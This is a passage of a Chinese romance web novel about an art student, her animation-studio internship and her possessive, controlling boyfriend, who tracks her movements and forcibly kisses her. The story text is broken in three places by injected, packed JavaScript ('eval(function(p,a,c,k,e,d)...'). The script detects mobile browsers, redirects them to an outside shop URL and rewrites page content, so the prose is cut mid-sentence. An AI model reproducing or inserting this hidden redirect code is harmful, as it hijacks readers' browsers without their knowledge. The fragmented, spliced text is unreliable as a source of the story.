“那你怎么答?” 祝昀伊耸耸肩,道:“我说想去就去喽,凭什么告诉你。” 林知棠闻言立刻向她投以敬畏的眼神,双手竖起大拇指:“伊伊真勇士!咱们大女人就该这样!” 顾瑶白了她一眼,又瞪住祝昀伊,道:“你最好是,你觉得我会相信你真这么说还是信你是秦始皇?” “我不是秦始皇。”祝昀伊挖了口蛋糕塞进嘴里,道:“我是武则天。” 顾瑶:“……” 她总有一天真会被这女人给急死! 眼见平时格外注意形象的顾瑶难得一脸抓狂,许晓蓓连忙站出来打圆场:“伊伊还能开玩笑,看来是真的没什么事,你就别操心了。” 顾瑶不答,表情还是有几分郁闷。 祝昀伊知道她是担心自己,不由心头发软,温声安慰道:“瑶瑶,我真的没事,我和谢今越也没有吵架,虽然他那天是有些不高兴,但事后哄哄就好了,他其实挺好哄的,也还算讲……讲道理。” 顾瑶眼睛一眯:“真的吗?那你为什么迟疑?” 因为是假的。 她花了整整两天才勉强把人哄好,甚至也不能确定是不是真哄好了。 至于讲道理这方面,谢今越简直是全世界最不讲理的人,但这显然不能对她们如实以告。 “我不小心咬到舌头。”祝昀伊心下有些无奈,面上却扬起笑脸,捧着蛋糕对顾瑶说:“他刚刚才送我回来,路上还特地买了蛋糕给大家,要是还生气的话不可能这么做吧?” 事实上谢今越就是个不爽到极点也还是能表现得无微不至的狠人。 祝昀伊经常摸不透他的想法,只觉得他有时候比夏日午后的雷阵雨还要阴晴不定。 不过她也没有表现出来,她自小惯会安抚人,笑脸更是如同焊在脸上的面具般无懈可击,哪怕是敏锐如顾瑶,一时也看不出端倪。 见她的表情没有半分阴霾,顾瑶终于放心,道:“没事就好,我真怕你吃亏了。” 祝昀伊笑眯眯地挖了口蛋糕喂给她。 寝室里紧张的氛围顿时一扫而空,恢复了几分活络。 四人一人捧着一个蛋糕,围在一起一边聊天一边吃着,许晓蓓好奇地问:“不过谢哥那天怎么知道你在酒吧?你开定位了?” 祝昀伊摇摇头。 谢今越倒是一直想和她使用情侣定位软件,但祝昀伊觉得这种能够时刻把行踪分享给对方的软件有些可怕,所以便没有同意,只以担心行踪被软件方窃取为由婉拒,并承诺会经常向他报备。 他大概是也觉得有道理,后来便没有再坚持。 直到此刻听许晓蓓提起,祝昀伊才终于意识到不对。 谢今越是怎么知道她在酒吧的? 许晓蓓道:“难道是有谁发朋友圈被他看到了?” 林知棠连忙摇头说自己没发,难道会是陈奈她们? 顾瑶却挑着眉道:“他又没有加我们好友,陈奈她们就更不可能。” 林知棠挠了挠头,更懵了:“这……难道是情侣间的心电感应?” 许晓蓓“噗哧”一声笑了出来,吐槽道:“什么心电感应?又不是双胞胎,估计是他凑巧也在酒吧里,刚好看到伊伊了吧。” “……” 祝昀伊没有答话,心下愈发疑惑。 谢今越并不喜欢人多吵杂的地方,更不用说是酒吧那种地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她们如今是大四,虽然作业比以前少了,却也没有因此闲下来多少。 大家又要忙实习忙考研,又得忙毕制忙招聘,林知棠总觉得自己最近就像陀螺般转个不停,都快要累吐了。 于是听见祝昀伊在吃补剂后,她也连忙伸出手道:“也给我来几颗吧伊伊。” 却见后者不动声色地收起药盒,朝她温和一笑:“还是不了,每个人的体质不同,你得找到适合自己的才行。” 林知棠一听也觉得有道理,当下并没有多想,她打了个哈欠,一边爬上床一边揉着眼睛说道:“那你给我推荐几款吧。” 祝昀伊笑眯眯地点头。 待林知棠上床后,她才稍稍松了口气,将药盒深深塞进包里的暗袋。 要是和谢今越在一起,她绝不敢这般坦然自若,每回吃药总得小心翼翼,深怕被他发现。 他不像林知棠,同样的借口用在他身上绝不管用,即便她说这只是维生素,他也只会细细追问她吃的是什么维生素。 “……” 祝昀伊垂下眼睛,缓缓地吐出一口气。 - 早高峰的地铁人潮拥挤。 祝昀伊勉力挤上了一班车,顿时觉得自己像只和数百条鱼一同被挤在鱼筐里的小鱼般艰难。 她被四方人潮包夹,动弹不得,只好牢牢将包护在身前,避免不慎碰撞到他人。 身后有人正因推挤在吵架,她沉默地戴上耳机并开起降噪模式,当乐队的音乐声淌进耳膜时,来自外界的一切仿佛也随之被隔绝。 祝昀伊正望着车门上方显示站名的屏幕放空,还有八站就要换乘另一线地铁。 换乘后,她得再搭上十二站才会到达实习工作室所在的82艺术特区,之后再步行十分钟就能抵达公司。 回程亦然,且晚高峰的地铁一点也不比早晨好受,有时甚至更为混乱。 不过今晚谢今越会来接她,会比她自己通勤轻松很多。 思及此,她的心里竟忍不住松了口气,可下一秒又觉得自己总是这样麻烦他舟车劳顿并不好。 看来,还是得搬到公司附近才行。 7. 信号 祝昀伊抵达82艺术区的时候时间还早,她在附近买了早饭,这才进了工作室。 彼时工作室里只有一位动画组的前辈到了。 面上戴着黑框眼镜,顶着一头随性卷发的年轻男人正站在公用吧台前煮咖啡,见她进来,语气淡淡地问她:“咖啡?” “冰美式特浓谢谢。” 祝昀伊有气无力地来到位子上坐下,刚低头啃了几口煎饼,一杯装满冰块的特浓美式就被人放到她桌上。 “谢谢滕光哥。”她见状艰难地把嘴里的煎饼咽下,连忙道了声谢,却迟迟没有得到对方的回应。 扭头一看,只见坐在她隔壁工位的人已经自顾自戴上耳机打起了游戏。 她便没再说话,继续吃早饭。 等到她慢吞吞地把煎饼吃完时,工作室的其他人也陆续来了。 祝昀伊实习的公司是一家创意设计工作室,以动画和新媒体设计为主,名字源自动画的基础原理“光格子LightGird”,工作室创办人是和她同为华大信息艺术设计毕业的学姐岑书。 光格子是家小而精锐的新锐工作室,核心成员多为顶尖美院毕业,整个团队虽只有不到十人,却自创立以来不到五年的时间便入围过不少国内外动画类和设计类奖项,是设计圈內颇受瞩目的超级新星。 目前工作室承接的设计案多以交互式动画设计为主,业主横跨广告业、各大博物馆美术馆、私人艺术展等,也接过剧场视觉设计、音乐MV和乐队专场主视觉。 祝昀伊到职时,工作室刚承接了故宫的周年特别展览视觉设计,整个团队正为此忙碌着。 她所在的组别是动画设计组,负责带她的人正是方才替她泡了杯咖啡的李滕光。 李滕光是个第一眼看着并不好相处的人,他看上去又冷淡又懒散,仿佛对周遭的一切都没什么兴趣的模样,说话非常简短,似乎也不太耐烦与人交流,旁人就是想主动和他亲近都不容易。 按照组内另一位前辈连芷的话来说,这就是个妥妥的大怪人。 所以对于祝昀伊竟然能和他维持良好的交流,工作室里的大家都啧啧称奇,不断追问她与怪人的相处之道。 祝昀伊:“……” 她似乎天生就能和各式各样的人维持着稳定平和的关系,并没有什么特殊技巧。 思来想去,只好这般答道:“可能是因为我会说日语。” 李滕光因为家人的工作因素,自初中起便在日本求学,大学毕业自武藏野美术大学。 因在日本生活了好几年才回国,他有时会忘记特定的中文名词该怎么说,改用日语代替,甚至也不管旁人能不能听懂。 而祝昀伊恰好日语不错,她在大三时通过了日语检定N2,能和李滕光进行基本的日语沟通,偶尔讨论工作时两人甚至会全程使用日语,因而被听不懂日语的连芷吐槽这是加密通话。 上午开完晨会后,祝昀伊回到工位上投入到工作里。 此次的周年展览和宋朝的文物及历史有关,其中展览主场的大型交互式动画由他们工作室制作,主角由岑书和李滕光负责,她则被分配到制作背景小人物的动画,并协助连芷进行动画渲染。 祝昀伊虽然只是个尚未毕业的实习生,可她具有良好的观察力和细腻的感知,她画的小人物总是带着生动的情绪,极好地为整段动画注入了栩栩如生的氛围。 岑书曾夸奖她的动画“具有灵魂”,李滕光和连芷对此也非常认可。 在电脑前工作了一上午,下午她又跟着李滕光和硬件工程师们一起测试动画的投影效果。 等到完成测试和基本修改后,恰好也到了下班时间。 谢今越已经到楼下了,祝昀伊没再耽搁,很快就收拾好东西和总是第一个下班的李滕光一起往门口走。 连芷见状笑着调侃了句:“哟,我们忙内今天怎么下班这么早?” 祝昀伊闻言腼腆地朝她笑了笑,没有多做解释。 她刚到职时特别拘谨,即便手上的工作做完了,见其他人还没走,她也不好意思自己先下班,总要在工位上装忙,等到前辈们都准备走了才敢离开。 后来是岑书告诉她时间到了就能下班,不用这么小心翼翼,她才少了几分拘束。 但也总要等到第一个下班的人出现了才敢走。 “莲子姐拜拜,明天见。” 和连芷打完招呼,她又一一和工作室的其他人道别,得到大伙们慈爱的回应。 李滕光还没下楼,他正站在电梯里按着开门键,似是在等她。 祝昀伊见状和他道了声谢,准备走进电梯时,突然想起了什么,不由停下步伐。 电梯里,李滕光疑惑地抬眼看她,用眼神问:“不进来吗?” “我突然想起有东西没拿。”祝昀伊小声解释道,往后一步退出了电梯,“滕光哥先下楼吧,明天见。” “拜。”李滕光点点头,按下关门键。 等到电梯下到一楼后,祝昀伊依然站在原地,又等了一会才按了下楼键。 这时连芷也拎着包走过来,见只有她在,不由问道:“李滕光呢?那家伙先走了?” 祝昀伊点点头。 连芷“啧”了一声,吐槽道:“一下班就跑得比谁都快。” 祝昀伊只是笑。 - 一楼。 跑得比谁都快的李滕光刚走出电梯便立刻戴上了耳机,他双手抄兜,摆着一张谁也不想搭理的表情快步踏出大门。 一走出来,便注意到路边停着辆黑色的帕拉梅拉,有个身形颀长挺拔的年轻男人正倚在车前看手机,似是在等人。 见那人外貌出众,李滕光难得多看了几眼。 男人穿了件剪裁硬挺的黑色polo衫,扣子解开两颗,露出里头白色的打底领口。 衣服下摆随性地掖进白色丹宁裤里,腰间系着黑色皮带,底下极具垂坠感的裤型将腿线拉得修长又笔直。 他面上戴着副半框眼镜,颈间坠着条细长的银链,抄在裤兜里的左手则戴了个皮带腕表,仅是简单的配饰,却将浑身的气场勾勒得沉着又贵气。 看着就像个应该出现在金融街的人,却不知为何站在满是怪人的艺术区里。 这时,对方似是注意到视线,恰好抬起头来,与李滕光撞上了目光。 ──真冷,看着就不好惹。 这是李滕光看见此人第一眼时的评价。 除此之外也没有其他想法了,他很快收回目光,又恢复成那副谁也不想搭理的模样快步走远。 倒是倚在车前的谢今越看着他离去的背影若有所思。 直到听见女孩子谈笑的声音由远及近,他才收回视线,看向正和同事结伴走出来的祝昀伊,原先冷沉的表情浮现几许温和。 祝昀伊也一眼就看见了他,立刻弯起眼睛朝他挥了挥手。 在她身旁的连芷见状有些诧异,她看了看笑眼弯弯的祝昀伊,又看了看明显在等她的谢今越,捂着嘴揶揄道:“难怪今天抢着当下班第一人呢,原来是有人来接呀。” 说完,她又打量了谢今越和他的车几眼,冲祝昀伊挤眉弄眼:“忙内眼光不错啊。” 祝昀伊害臊地拉了下她的包包背带,红着脸解释道:“是我男朋友……莲子姐我先走啦。” “去吧去吧,好好享受下班后的甜蜜时光哈。” 面对连芷打趣的眼神,谢今越只是礼貌地朝她点了下头,随后打开副驾的车门,护着祝昀伊的脑袋将她送进车里。 车内,祝昀伊刚用手机连上了CarPlay,正在挑选音乐,忽然听见驾驶座的人问:“那是你同事?” 祝昀伊愣了下,点点头:“嗯嗯,是和我在一个组的学姐──” “第一个走出来的那男的呢?” 谢今越接着问道,他偏头朝她看来,语气漫不经心:“也是工作室的人?” 可镜片后的目光分明带着不动声色的探究。 祝昀伊张了张嘴,心下莫名一紧,明明没有做错任何事,她却突然有种做了坏事深怕被人发现的紧张感。 又与他对视几秒,她才轻声说道:“嗯,也是一个组的前辈。” 谢今越收回视线,踩下油门将车子驶离工作室门口,又问:“他负责带你?” 祝昀伊看着前方,只犹豫了一瞬便决定说谎:“负责带我的是刚刚见到的连芷姐。” 谢今越没有答话。 祝昀伊悄悄侧眼打量他,只见他单手握着方向盘,另一手靠在中控扶手上,正神色淡淡地转动方向盘。 待车子上了高速后,她才听见他缓声说道:“我记得你们工作室的主设计师是你的同系学姐,姓岑,除她以外还有两位设计师,一位是你提到的连学姐,另一位……姓李?” 祝昀伊一愣,放在腿上的手无意识地攥紧了。 “工作室的主动画设计是岑李两位设计师负责的吧,我以为你会对这个领域更感兴趣。” 他几乎是一句话就指出了重点。 他们动画组总共有三名动画设计师,其中岑书是主设计师,主导整体方向、设计风格和提案,李滕光负责主角动画和核心场景,连芷则专攻动画渲染、合成和后期处理。 而祝昀伊确实对岑李二人负责的区块更感兴趣,这也是之所以是由李滕光负责带她的原因。 可她很少向谢今越提到这些,为什么他会对他们工作室了解得这么清楚? 祝昀伊知道瞒不过他,只好老实地承认:“……负责带我的人是李前辈。” 话音落下,就见谢今越眉梢一动,车内的氛围随之凝结,缓慢地沉了下去。 祝昀伊读懂了空气,意思大概是为什么要骗他。 她无声地吐了口气,解释道:“我要是说带我的人是滕……李前辈,你又要吃醋了。” 越想越郁闷,她忍不住闷声抱怨:“大醋坛子。” 不,这人岂止是个大醋坛子。 他简直就是片汪洋醋海。 这一点从他们交往前就初显端倪。 大二时美院和经管学院打篮球赛,当时美院篮球队里有个队员和祝昀伊在一个班,他俩平时的关系还不错,美院输了之后她便特意安慰了垂头丧气的同班同学几句。 这一幕似是被谢今越看到了,彼时他们尚未开始交往,他也比现在收敛得多,当下只顾作不动声色地打探他们的交情,偶尔阴阳怪气对方几句。 祝昀伊不明所以,以为他和那人私底下有过节。 直到她和谢今越开始交往之后,此人善妒又蛮不讲理的一面才终于逐渐显露出来。 每当瞧见她和那位同班同学走得近一些,他总会不厌其烦地和她翻旧帐,并借此在床事上折腾她一把。 同样的事情发生过很多遍,且还不只是因为那位男同学。 这股醋劲惹得祝昀伊后来都不敢和他以外的男人靠得太近,省得某人见了又发疯。 今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“关你什么事。”谢今越一脸不耐烦,语气却明显透着在熟人面前才会有的随意:“别烦我。” 乔屿丝毫不惧他的冷脸,还哥俩好地搭上了他的肩膀,“不要这么冷漠,难得遇上了,就过来和我们一起吃饭嘛,今天哥请客,嗯?” 没等谢今越回答,他又转向祝昀伊,冲她眨眨眼睛:“嗨,你叫昀伊对吧?我是乔屿,我们之前见过几回的。” 祝昀伊认得他是谢今越的好朋友。 谢今越曾带她参加过几次朋友的聚会,那时在聚会上见过不少人,不过他与大多数人似乎都关系平平,唯独和乔屿要好一些。 后来好奇问了他才知道,乔屿和他都是梓城人,两人从小就认识,算得上是一起长大的哥们。 虽然谢今越提起乔屿时经常一脸嫌弃,但她能看得出乔屿确实是他很亲近的朋友。 于是她弯起眼睛,友好地朝对方笑了下:“你好。” 乔屿被这抹腼腆的笑容晃了下眼睛,正想说话,一堵高大的人墙骤然横过来挡住他的视线。 目光上移,好兄弟正阴沉着脸,非常不爽地盯着他。 他一看就知道这人毛病又犯了,只好摊开双手后退几步,道:“行行行,那我就不打扰小情侣约会了,不过你下次肯定得陪我喝酒,上周在Pluseclub也是没待一会就走了,下回肯定要──” 祝昀伊听到这里蓦然一顿。 Pluseclub? 她记得上周五和室友们去的那间酒吧就是叫这个名字。 难道那天乔屿也在吗?谢今越是被他喊去酒吧时恰巧撞见了她? 思及此,她再度看向他们,只见乔屿仍旧絮絮叨叨地说着话,谢今越则不耐烦地听着,两人的神情都没有什么异样。 这顿饭祝昀伊吃得有些心不在焉。 她一直在思考乔屿提到的酒吧,如果那天谢今越真是被乔屿喊去酒吧喝酒,凑巧撞见了她,那么一切就都说得通了。 可如果是这样—— 理智告诉她不应该再提起这件事,可反复纠结了一路,就在车子即将抵达宿舍时,她还是忍不住开口了:“那个,今越……” “嗯?” 指尖下意识搓着袖口,祝昀伊鼓起勇气问:“我想知道,你那天是怎么知道我在那家酒吧的呢?” 谢今越指尖一顿,没有立刻回答这个问题。 直到车子稳稳停在宿舍外的树荫下,他才转过来看她,镜片后的眼睛在一片昏暗中像盛着幽光。 祝昀伊紧张地和他对视。 几秒后,他终于开口,口吻平静:“你在怀疑什么?” 祝昀伊一愣,尚未反应过来,又听见他说:“怀疑我也是瞒着你去了那种地方,结果却反过来对你生气?” 他一句话就挑破了所有。 祝昀伊顿时涨红了脸,感到既慌张又窘迫:“我……” “咔嗒——” 谢今越突然在这时解开了安全带,并将座椅往后调整了一些。 随后他的手臂搭上中控扶手,倾身朝她靠近,定定地注视着她脸上无措的表情:“伊伊,替我把眼镜拿下来。” 听见这句话,祝昀伊心头一跳,在一瞬间领会了他意图。 因为这是一个—— 代表着他要亲她的信号。 8. 金箍 祝昀伊没有立刻动作。 谢今越也不急,他仍旧维持倾身靠近她的姿势。 车内没有开灯,只有中控屏幕的微光映亮他半张侧脸,明明他并没有出声催促,一股无形的压迫感却如潮水般朝她淹了过来。 正搓着袖口边线的指尖无意识用力了几分,心跳快得仿佛要撞出胸腔,周遭的空气仿佛也变得冰冷而稀薄,每一次呼吸都令本就紧张的神经一再紧绷。 祝昀伊承认,她确实是怀疑他有只准州官放火不许百姓点灯的嫌疑。 可他沉怒中又带着几分讽刺的语气似乎说明着事实并非如此,她突然希望时光能倒转回一分钟之前,好收回那句试探他的话。 可惜时间无法倒转,无论心里再怎么懊恼,她也只能直面眼前的这一刻。 于是沉默一会后,祝昀伊还是缓缓抬起手,动作轻柔地将谢今越脸上的眼镜拿下来。 原以为他要倾身过来吻她,没想到下一秒腰间蓦然一紧,谢今越竟掐住她的腰将她提起,就这么把人从副驾驶座捞了过来。 “……呀!” 祝昀伊惊呼一声,身体在半空中转了半个圈。 等到她再回神时,已经侧坐在他腿上,双腿搭在了中控扶手上。 此刻驾驶座的座椅微微倾斜,因为重力的缘故,她整个人牢牢地贴在他身上,就连挣扎都发力困难。 才刚慌乱地抬起眼,谢今越已然扣住她的后脑用力地吻了过来。 这是一个裹挟着怒意的,强悍而炙热的吻。 他先是含住她的下唇又啃又咬,像是恨不能在她嫣红的唇瓣上咬出血痕,在她因为吃痛而微微张开嘴时,又立刻强势地闯进来,如同标记领地般在她的口腔里肆虐扫荡,凶狠地掠夺着她的呼吸和津液。 祝昀伊第一次在和他亲吻时感觉到痛。 不仅嘴唇又疼又麻,就连舌尖也被纠缠吸吮得隐隐作痛,白皙的面颊更因为缺氧而泛起一层薄薄的红晕。 想要挣扎躲避,却被他牢牢圈紧在怀里,她只能抬手推打着他的肩膀,可依然抗衡不了他的力气。 “呜……嗯……” 感受到她的推拒,谢今越揽在她腰间的手臂又用力了几分,扣着她后颈的手掌也纹丝不动,轻易就压制了她的所有反抗。 祝昀伊忍不住发出一声呜咽。 她不喜欢这样粗暴的亲吻,她觉得不舒服,感到很难受。 于是当谢今越终于放开了她,与她前额相抵时,她鼻尖泛酸,张了嘴想要向他表达自己的不适,可他却先她一步开口了。 “祝昀伊,那天你答应我几点回来?” 祝昀伊一僵,默了半晌才呐呐地答:“……九点。” “那九点时你在哪里?” 祝昀伊没有说话,谢今越替她答了:“在商场和室友一起逛街,接着我又问了你几点回来,你说十点前,结果不到十点又说遇见了隔壁寝室的朋友,要和她们一起去商场附近的咖啡店坐坐。“ 她听到这里时急急开口:“我后来和你说了十一点前会自己打车回家,不用来接我──” “谁同意了?”他打断了她的话:“我同意了吗?” 没等她回应,谢今越又冷笑一声:“而且你去的是咖啡店吗?” “……” 祝昀伊沉默下来。 ”在你说了要去咖啡店后,我发消息给你、打电话给你,你通通没有回,我不知道你在哪里、是不是遇到了什么事,所以去找你了。” 话到这里一顿,他的语气陡然沉下,声音却轻得令人脊骨发凉:“可我找遍了商场附近每一家还在营业的咖啡店,却都没有找到你,直到乔屿告诉我他在酒吧看见了你。” 谢今越压低眉眼定定地看她,漆黑的眼眸里似带着控诉:“你有考虑过我当下是什么感受吗?” 听见这句话,祝昀伊骤然一愣。 就像是被施了定身咒,刚涌到喉头的话在一瞬间全数咽了回去,面对他的质问,她只觉得百口莫辩。 哑然地与他对视半晌,最后她只是吐出一句:“……对不起。” 奇怪的是,鼻尖泛酸的感觉在这声道歉出口后变得更加强烈了,喉头一阵酸涩胀疼,心脏更像是被人用力攥紧了又掐又揉,甚至令她有些透不过气。 可她只知道自己很难受,却辨不清这股强烈到完全无法忽视的情绪到底是什么。 是懊悔吗?抑或是羞愧? 毕竟这件事本就是她的错,确实是她理亏。 但是、但是—— …… …… 但是什么? 脑海突然一片空白,祝昀伊说不清自己究竟是什么感受,也不知道除了道歉以外还能说些什么。 于是她垂下眼睛,又重复了一次:“对不起……” 此刻她的面容隐在黑暗中,谢今越看不清她的表情,但从她耸拉着脑袋的动作、闷哑的声音,能够感受到她情绪的低落。 他用指尖轻抚着她略微红肿的嘴唇,道:“下次想去哪直接告诉我,不要隐瞒,也不要骗我,别让我找不到你。” 祝昀伊点点头:“……嗯。” 然而她的心里却忍不住想着,如果那天她选择诚实地告诉他要去哪里,他会让她去吗? 甚至不需要问出口了,下一秒脑中立刻浮现了答案。 于是在这一刻,突然有个疑问如同破土的嫩芽般自她的脑海里冒了出来—— 虽然情侣交往时应该要顾念对方的想法,可是某一方想去哪又为什么一定要告诉对方,并取得他的同意呢? 为什么她的意志必须要先得到他的“批准”? 但她同时又茫然于自己推迟回家的时间,选择去酒吧的决定究竟是为了什么。 其实她根本一点都不喜欢酒吧。 她不喜欢喝酒,不喜欢混乱嘈杂的环境,不喜欢和不熟的人聚会,也不喜欢应对陌生人、与他们交际。 那又为什么不惜瞒着男朋友也非得要去那种地方呢? 祝昀伊既混乱又茫然地想着。 而谢今越在听到她乖顺的回应后,眉宇间的郁色渐消。 见她垂着脑袋似在反省,他抬手摸了摸她的头发,又捧着她的脸轻吻她的唇,带着几分安抚的意味。 祝昀伊的双手搭在他的肩膀上,乖乖地任由他亲吻。 等到她脸上能亲的地方都被他亲了个遍后,他才打开车门,抱着她下车。 她的双腿由于方才的坐姿正微微发麻,膝盖也没有力气,因此被放下来后,便下意识扶住了他的腰,半依偎在他怀里。 谢今越见状又顺势搂住她,低头亲了亲她的发顶。 今夜的风有些冷,刚刚才又下了场雨,此刻空气中弥漫着雨后的湿冷气息,向着人拂过来时,能在皮肤上激起一片细小的疙瘩。 谢今越站在风口替女朋友挡风,他一边抬手理了理她颊边凌乱的头发,一边说道:“明天也会去接你。” 祝昀伊埋头在他怀里,声音有些闷:“不用了,这样太舟车劳顿,我自己可以……” “下班后乖乖等我去接你,嗯?” 谢今越打断了她的话,他稍稍退离一些,指尖扣着她的下颔抬起了她的脸。 此刻在路灯的映照下,他才注意到她的眼角正微微泛红,用那双小鹿般湿漉漉的眼睛看着他时,显得可怜又可爱。 他不禁放缓了语气,可温润的声线里依然带着不容拒绝的强硬:“伊伊,听话。” 于是祝昀伊又偃旗息鼓了,只觉得这句话之于她来说,真就像是金箍之于孙悟空。 她只好再度乖乖地应道:“……嗯。” 谢今越见状又低头亲了她一下,眼底漫起浅淡的笑意。他凑在她耳边低声说:“乖,快进去吧,否则再待下去我就不想让你走了。” 祝昀伊垂下眼睛,声音很轻:“嗯……晚安。” 说完停顿了一下,又飞快地仰脸亲了亲他的脸颊。 随着这吻落下,谢今越脸上的郁气已然彻底消失,他的目光柔软了几分,为那张不戴眼镜时显出几分攻击性的俊脸平添了一丝温和。 他天生有一把温润清越的好嗓子,刻意放柔了声音说话时,给人一种非常温柔的错觉:“晚安,小鹿。” - 祝昀伊回到宿舍时,寝室里只有许晓蓓在。 她正一边看综艺一边吃零食,见祝昀伊这个时间点才回来,关心地问:“伊伊今天怎么回来这么晚?地铁上人很多吗?” 祝昀伊随手将包包放在桌上,在椅子上瘫坐下来。 她没有多作解释,只点点头:“非常非常多。” “辛苦了我的宝。”许晓蓓捧着零食凑过来,给她嘴里塞了块巧克力饼干。 祝昀伊笑着用嘴接住了,她一手捏着饼干的另一端小口地啃着,另一手垫在下方防止碎屑掉落。 见她吃得认真,许晓蓓又投喂了一块,这次祝昀伊依然笑眯眯地接过了,还捂着嘴含糊不清地说了声“谢谢”。 许晓蓓被萌了一把,黏黏糊糊地凑过来和她贴贴,道:“不过你每天这样通勤好累啊,有考虑过搬到工作室附近吗?咱们班上有几个同学也是暑假实习时就搬去公司附近了。” 祝昀伊当然有考虑过,近期其实也一直在想,不过这也不是她想搬就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093442|195542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搬的,还有许多现实层面的问题需要考量。 而其中最重要的问题当然是—— “京市租房很贵的。” 自从有了搬出去的念头后,祝昀伊便查过工作室附近的租房价格。 她不想与人合租,希望能自己住一个单间,可82艺术区附近条件不错的一居室,房租动辄四五千,便宜一点的起码也要三千以上。 虽然也有两千左右的房子,但不是位置相对偏僻、可能会需要更久的通勤时间,就是房源老旧或安全性差,甚至还得警惕租房诈骗。 她毕竟是一个人住,为了安全,不能不考虑这些问题。 祝昀伊认真地分析,说完轻轻叹了口气。 见她一脸苦恼,许晓蓓道:“谢大帅哥在京市不是有好几处房产吗?就没有在你工作室附近的房子?” 祝昀伊闻言一顿。 其实是有的,谢今越恰好在82艺术区附近有个公寓,搭公交车大约十五分钟就能抵达艺术区。 当初她决定去光格子工作室实习时,谢今越就曾提议过要和她一起搬到那间公寓。 但考虑到他实习的地方在金融街,与艺术区几乎分属在城市的两端,她不希望他为了她必须牺牲更多的时间和精力通勤,因此最后还是选择继续住在学校宿舍,自己搭地铁通勤。 如果她现在告诉他想要搬去艺术区附近的公寓,他肯定也会跟着住过来与她同居。 可是祝昀伊不希望这样,除了原有的理由,如今还多了个原因是,她想要有自己的空间。 一个完全只属于自己,没有任何人会来打扰的独立空间。 不过祝昀伊也没有向许晓蓓解释太多,只说自己并不想要事事都依靠男朋友。 许晓蓓闻言很是讶异。 其实早在祝昀伊表示烦恼房租的问题时,她就感到有些惊讶。 毕竟昀伊的男朋友那么有钱,别说是四五千的房租了,哪怕就是万元以上,对他来说大概也不算什么。 更不用说他还经常爆金币,虽然昀伊并没有透露谢今越究竟给她转了多少钱,但许晓蓓能猜到是足以让普通人咋舌的金额。 按理来说,有这样一个男朋友,房租不应该成为昀伊苦恼的问题。 许晓蓓好奇地问:“那你是打算自己付房租吗?还是找你爸妈?” “我自己付。”祝昀伊答。 她的实习到明年二月结束,如今还有约莫半年的时间,假如她在下个月搬出去住,那就是得付五个月的房租。 除了爸妈每个月给她的生活费,她手上还有大一大二时在儿童画室兼职存下的积蓄、学校的奖学金以及自己接稿的稿费,数额虽然不算很多,但也足够让她在京市租到一间不错的房子。 只是她每周都要回诊一次,她得预留一些钱供给治疗费,还有大四毕设也是一笔不小的开销,所以她的租房预算才会一再压低。 然而即便如此,她也没有考虑过要找父母帮忙,一是她的妹妹在暑假时才刚动过一场大手术,家里正是用钱的时候,她不希望增加爸妈的负担,二是她从一开始就没打算让他们知道自己打算搬出去住。 既然不想用男朋友的资源,也不打算让父母知道,她便只能努力自己想办法。 奇怪的是,祝昀伊并不为烦恼租房的事感到辛苦,一想到能够获得一个独属于自己的空间,心里便有股说不清的轻松和隐密的期待。 不过,就算找到了符合条件的理想租房,其实也还是有一道需要迈过去的坎。 那就是── 到底该怎么和谢今越说这件事。 想到方才在车里的那个粗暴的吻,祝昀伊的情绪不免又低落下来。 这时手机屏幕恰好亮起,是谢今越给她发来到家的消息。 她见状指尖一顿,回了个小狗点头的表情包,发完默了一下,又发了个小狗发射爱心的表情包给他。 对方很快也发来摸摸头和比心的表情包,此刻屏幕发出的光在祝昀伊的眼里明明灭灭,她看着聊天背景上两人亲昵地靠在一起的合照,唇角不自觉勾起。 随后视线转到两人的对话内容,表情蓦然一滞,眼眶竟莫名发烫起来。 不知道为什么,明明是充满爱的内容,可她的内心却没有半分满足,只有种又酸又涩的感受不停地挤压着她的胸腔。 情绪好像又慢慢沉入了水底。 一旁的许晓蓓见她表情沮丧,以为她是在烦恼租房的事,不由温声安慰:“伊伊别担心,我也会帮你找房子的,要是有发现合适的立刻发给你!” 祝昀伊闻言连忙整理好表情,弯起眼睛对她一笑:“嗯,谢谢晓蓓。” 9. 声音 转眼又是一周过去。 这天中午,祝昀伊和工作室的同事们一起点了外卖。 待午饭送达,她主动帮着把每个人点的餐送到他们手里,又给大家发了奶茶,这才捧着自己的那份坐到连芷身边。 同桌的李滕光兴冲冲地打开了盒饭,看见不喜欢的配菜后立刻垮了脸,语气幽幽地问:“有谁想多吃一份胡萝卜?” 连芷头也不抬:“自己吃掉,你也到了该改掉挑食毛病的年纪了宝。” 李滕光面无表情,语气如人机:“改不掉,人家还是个宝宝。” 连芷闻言捂着胸口作呕吐状。 祝昀伊看得好笑,主动把自己那份递过去,道:“给我吧,我申请再吃一份胡萝卜。” “哦耶——” 李滕光立刻眉飞色舞地用干净的筷子把胡萝卜全挑到她碗里,接着便埋头专注地干饭。 连芷一脸无语:“让忙内宠着算什么前辈。” 话音落下,工作室各个角落不约而同地传来了充满鄙夷的附和。 李滕光一边干饭一边竖起大拇指作为回应,意思是我就烂。 眼见祝昀伊的盒饭里堆着小山般的胡萝卜,而她正一口接一口认真地吃着,吃得脸颊微微鼓起,连芷按耐住想要戳她面颊的冲动,问道:“伊伊喜欢吃胡萝卜?” 祝昀伊一顿。 其实她并没有特别喜欢,只是她的妹妹很讨厌胡萝卜,而她从小到大已经习惯了帮妹妹解决不喜欢的食物。 